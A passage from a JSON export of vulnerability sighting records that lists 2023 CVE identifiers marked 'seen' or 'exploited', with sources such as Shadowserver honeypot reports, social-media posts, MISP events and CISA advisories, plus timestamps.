(honeypot/exploited-vulnerabilities) - (2025-03-12)", "content": "", "creation_timestamp": "2025-03-12T00:00:00.000000Z"}, {"uuid": "17c9816f-5127-4d41-a0b4-ab245df57f7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "content": "", "creation_timestamp": "2025-03-14T00:00:00.000000Z"}, {"uuid": "f5c39f30-6cd1-479b-b807-742a767b453d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-15)", "content": "", "creation_timestamp": "2025-02-15T00:00:00.000000Z"}, {"uuid": "d5c0077e-75ba-4ac1-a6a7-008165f19ef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3likej7rgb42y", "content": "", "creation_timestamp": "2025-02-19T18:06:42.979283Z"}, {"uuid": "ee9c2447-70ea-4cb7-943a-b2ab3aee6f9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114032281394614424", "content": "", "creation_timestamp": "2025-02-19T19:48:49.648127Z"}, {"uuid": "92e1a1b1-bf52-4345-bf2e-e50f34b218f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lkoriu4lqs24", "content": "", "creation_timestamp": "2025-03-18T23:00:08.316117Z"}, {"uuid": "bb07251c-a883-4ca7-aad0-0d049b3e5fea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:50.000000Z"}, {"uuid": "58d8f74b-9421-4655-a716-e4bc0bf05a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:49.000000Z"}, {"uuid": "2df7de89-2ded-4a60-af29-2e84e16c9649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:52.000000Z"}, {"uuid": "a115deb6-9a2e-400d-9ad4-7f5e0304d708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "content": "", "creation_timestamp": "2025-03-27T00:00:00.000000Z"}, {"uuid": "d65baa91-d403-4dc3-be07-3acee7d6cfdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "content": "", "creation_timestamp": "2025-03-27T00:00:00.000000Z"}, {"uuid": "a04a2668-9a59-4bf5-b211-84bce39928fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-07)", "content": "", "creation_timestamp": "2025-04-07T00:00:00.000000Z"}, {"uuid": "0c29c337-958f-497d-8395-6494bce80a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47310", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lstnl3xl3i2r", "content": "", "creation_timestamp": "2025-06-30T16:54:39.340954Z"}, {"uuid": "df375d2f-777f-4757-a78c-daab0f597735", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47610", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "2113e5d3-6608-458a-8ffe-a04a7db6e491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47611", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "13a44b2c-cfb5-4f82-be5a-89856b7582bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47612", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "b44d3031-f78a-44b1-af25-d02ff645a88c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47613", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "66d3b653-239b-45c6-876f-d32f3e7d8563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47614", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "2f815787-1953-4f09-8cc5-40a54e8bce1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47615", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "b9c25df6-6d90-4634-bb69-3fa1411a0e68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47616", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-09", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "26381f97-88ee-45f0-a248-d9fb184a3c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-11)", "content": "", "creation_timestamp": "2025-04-11T00:00:00.000000Z"}, {"uuid": "1cb68272-d632-4201-bcfd-36d6d454a438", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47452", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-608f6da6-5c765a350835c75b", "content": "", "creation_timestamp": "2025-06-25T15:46:42.259670Z"}, {"uuid": "255bde36-6164-48e3-9caa-1833f86b27f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-01)", "content": "", "creation_timestamp": "2025-07-01T00:00:00.000000Z"}, {"uuid": "7ae1cb66-b934-4b3e-857a-547d3be62c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-15)", "content": "", "creation_timestamp": "2025-04-15T00:00:00.000000Z"}, {"uuid": "00654a77-b05a-4a40-a72d-2a0e794e48fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-01)", "content": "", "creation_timestamp": "2025-07-01T00:00:00.000000Z"}, {"uuid": "f4614250-9db9-4c71-b714-70d4d19cf50c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47297", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsbxyv3xpk23", "content": "", "creation_timestamp": "2025-06-23T16:13:23.834488Z"}, {"uuid": "6a97f725-880f-4744-b33a-f432d4aea3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-26)", "content": "", "creation_timestamp": "2025-05-26T00:00:00.000000Z"}, {"uuid": "6c3d2b2e-e5d8-486b-97b8-1133c9cb93c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47298", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lsbyrqhj5u2p", "content": "", "creation_timestamp": "2025-06-23T16:27:19.243614Z"}, {"uuid": "0f7fd425-b45d-4edd-8523-6308f790d5c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-03)", "content": "", "creation_timestamp": "2025-06-03T00:00:00.000000Z"}, {"uuid": "9abebc29-a7d6-4612-9592-f33af19d7c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47466", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpriikvla22e", "content": "", "creation_timestamp": "2025-05-22T16:02:51.084517Z"}, {"uuid": "64594f93-b288-4308-892a-3e119f6f1210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47030", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lscthxcwqj2v", "content": "", "creation_timestamp": "2025-06-24T00:25:00.510801Z"}, {"uuid": "5d31ef7d-51ee-4481-a653-0300dbe84683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-07)", "content": "", "creation_timestamp": "2025-07-07T00:00:00.000000Z"}, {"uuid": "0e51dda6-825d-4741-b2e0-31efccf15e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-30)", "content": "", "creation_timestamp": "2025-06-30T00:00:00.000000Z"}, {"uuid": "d3716f87-715b-41ab-a7ba-26b8e5c5a81b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-09)", "content": "", "creation_timestamp": "2025-05-09T00:00:00.000000Z"}, {"uuid": "6ff8740b-6dfd-4fa8-aafc-fb4b9f31550b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-20)", "content": "", "creation_timestamp": "2025-05-20T00:00:00.000000Z"}, {"uuid": "442b43bc-9db9-4780-a41a-4871dc5d5d15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-09)", "content": "", "creation_timestamp": "2025-06-09T00:00:00.000000Z"}, {"uuid": "afd3e044-610e-4916-8c71-160f4f65fa4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47430", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3luagazidl224", "content": "", "creation_timestamp": "2025-07-18T12:13:34.799158Z"}, {"uuid": "dde4285e-f330-4ac7-bec2-70cedf3983aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47356", "type": "seen", "source": "MISP/a3c5beab-b790-4171-8b4c-02c8a9678071", "content": "", "creation_timestamp": "2025-07-22T03:54:24.000000Z"}, {"uuid": "f5c07eaf-ac6f-491b-bb12-d2310fb71184", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:01.000000Z"}, {"uuid": "4af30b16-5d85-4eaa-874e-674c3e4563ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-27)", "content": "", "creation_timestamp": "2025-10-27T00:00:00.000000Z"}, {"uuid": "9e96b032-b80b-43f1-b13d-873c92bdd6e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-21)", "content": "", "creation_timestamp": "2025-10-21T00:00:00.000000Z"}, {"uuid": "60d33796-b9bf-4c09-9de2-dca30a0abdad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "e8d1d678-99fe-43be-886b-07f2c8cbd219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "b743950b-7967-4191-bf28-7d213e8bd0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-03)", "content": "", "creation_timestamp": "2025-08-03T00:00:00.000000Z"}, {"uuid": "5a93bd0a-e954-4170-8b65-4bc987b36a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "01178744-87ba-44fd-8bcc-c21f6ec2c8f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-05)", "content": "", "creation_timestamp": "2025-10-05T00:00:00.000000Z"}, {"uuid": "5290dace-b22e-42fe-adb3-98d1fc9124b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-14)", "content": "", "creation_timestamp": "2025-08-14T00:00:00.000000Z"}, {"uuid": "67e03893-7cb5-473a-97f6-8bf63ddbed50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-10)", "content": "", "creation_timestamp": "2025-11-10T00:00:00.000000Z"}, {"uuid": "bdfd37dc-dc55-4e04-be7f-be64d4838842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-10)", "content": "", "creation_timestamp": "2025-09-10T00:00:00.000000Z"}, {"uuid": "7a9df300-1108-4e8c-80d8-f3c60951f11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:58.000000Z"}, {"uuid": "e2b16408-d1f2-42d1-b6d1-f168787b0e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-16)", "content": "", "creation_timestamp": "2025-10-16T00:00:00.000000Z"}, {"uuid": "2f97d1db-729a-46bf-aa72-aaa8e490d43e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-29)", "content": "", "creation_timestamp": "2025-09-29T00:00:00.000000Z"}, {"uuid": "456a30af-894d-438f-94ba-2c553980ade5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-7d94594b-ae20c1dc5483d2a2", "content": "", "creation_timestamp": "2025-10-11T06:19:00.172509Z"}, {"uuid": "5c506126-ed64-49dd-8d9b-d625ede7bf7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47873", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lz5apsgooo2p", "content": "", "creation_timestamp": "2025-09-18T21:02:27.324431Z"}, {"uuid": "e6791ef8-426b-4db0-a5bf-49aff3819029", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47356", "type": "seen", "source": "MISP/a3c5beab-b790-4171-8b4c-02c8a9678071", "content": "", "creation_timestamp": "2025-09-09T11:53:45.000000Z"}, {"uuid": "fd2c7c29-ee3a-496d-9767-6cf025878a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "MISP/9ca82492-7deb-4197-a6f1-191e121eef96", "content": "", "creation_timestamp": "2025-08-25T13:32:05.000000Z"}, {"uuid": "cb710816-9faa-4972-a8f8-5a4f5d2e01d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-09)", "content": "", "creation_timestamp": "2025-11-09T00:00:00.000000Z"}, {"uuid": "eacd877f-56e9-4968-a68d-9a7a3b946c88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-26)", "content": "", "creation_timestamp": "2025-08-26T00:00:00.000000Z"}, {"uuid": "7eeda674-3b50-46a9-9ff8-f385c0e9fc9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:00.000000Z"}, {"uuid": "e0df9cd5-d600-4db8-9fb8-522caada79bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:06.000000Z"}, {"uuid": "10a50ccd-ae24-4707-a380-3f4bac70ebf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/qnap_qts_rce_cve_2023_47218.rb", "content": "", "creation_timestamp": "2024-02-21T17:07:58.000000Z"}, {"uuid": "773fa50a-cd92-4a53-bda7-1df293eba343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-06)", "content": "", "creation_timestamp": "2025-12-06T00:00:00.000000Z"}, {"uuid": "883af3e4-2e13-4606-8dc0-bd32dc675eda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-09)", "content": "", "creation_timestamp": "2025-12-09T00:00:00.000000Z"}, {"uuid": "c687039b-2f1f-4d47-b5c2-22a394d0adce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-17)", "content": "", "creation_timestamp": "2025-12-17T00:00:00.000000Z"}, {"uuid": "103d4c6e-7eb4-416f-98a1-ba63c68f97db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://bsky.app/profile/allsafeus.bsky.social/post/3madyhyhlrz2j", "content": "", "creation_timestamp": "2025-12-19T15:19:53.304084Z"}, {"uuid": "0eb1d73b-e019-41ba-ae95-5ac9a0015726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-22)", "content": "", "creation_timestamp": "2025-12-22T00:00:00.000000Z"}, {"uuid": "b50648bd-1132-42c5-ad2f-0d6de6e8b037", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "de3d540d-e636-4895-9d55-2567e70c8516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-31)", "content": "", "creation_timestamp": "2025-12-31T00:00:00.000000Z"}, {"uuid": "c903382d-ba25-4cfe-8a8d-0153495e8d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-10)", "content": "", "creation_timestamp": "2026-01-10T00:00:00.000000Z"}, {"uuid": "49c0b3cb-f10e-4c2a-80d8-f3f34c56f008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "77fa4435-b57d-416d-8f83-0c195bd078ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "23840068-91f0-4a65-9aef-fbcac2dea708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-11)", "content": "", "creation_timestamp": "2026-01-11T00:00:00.000000Z"}, {"uuid": "e00e765b-a60c-41bd-aea6-aa3b10d9fa05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "b4a4a6ed-8f80-4ceb-895b-77d41fa1a776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47210", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "d2455c9a-8288-48d9-aae5-5a4eb4e3b70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 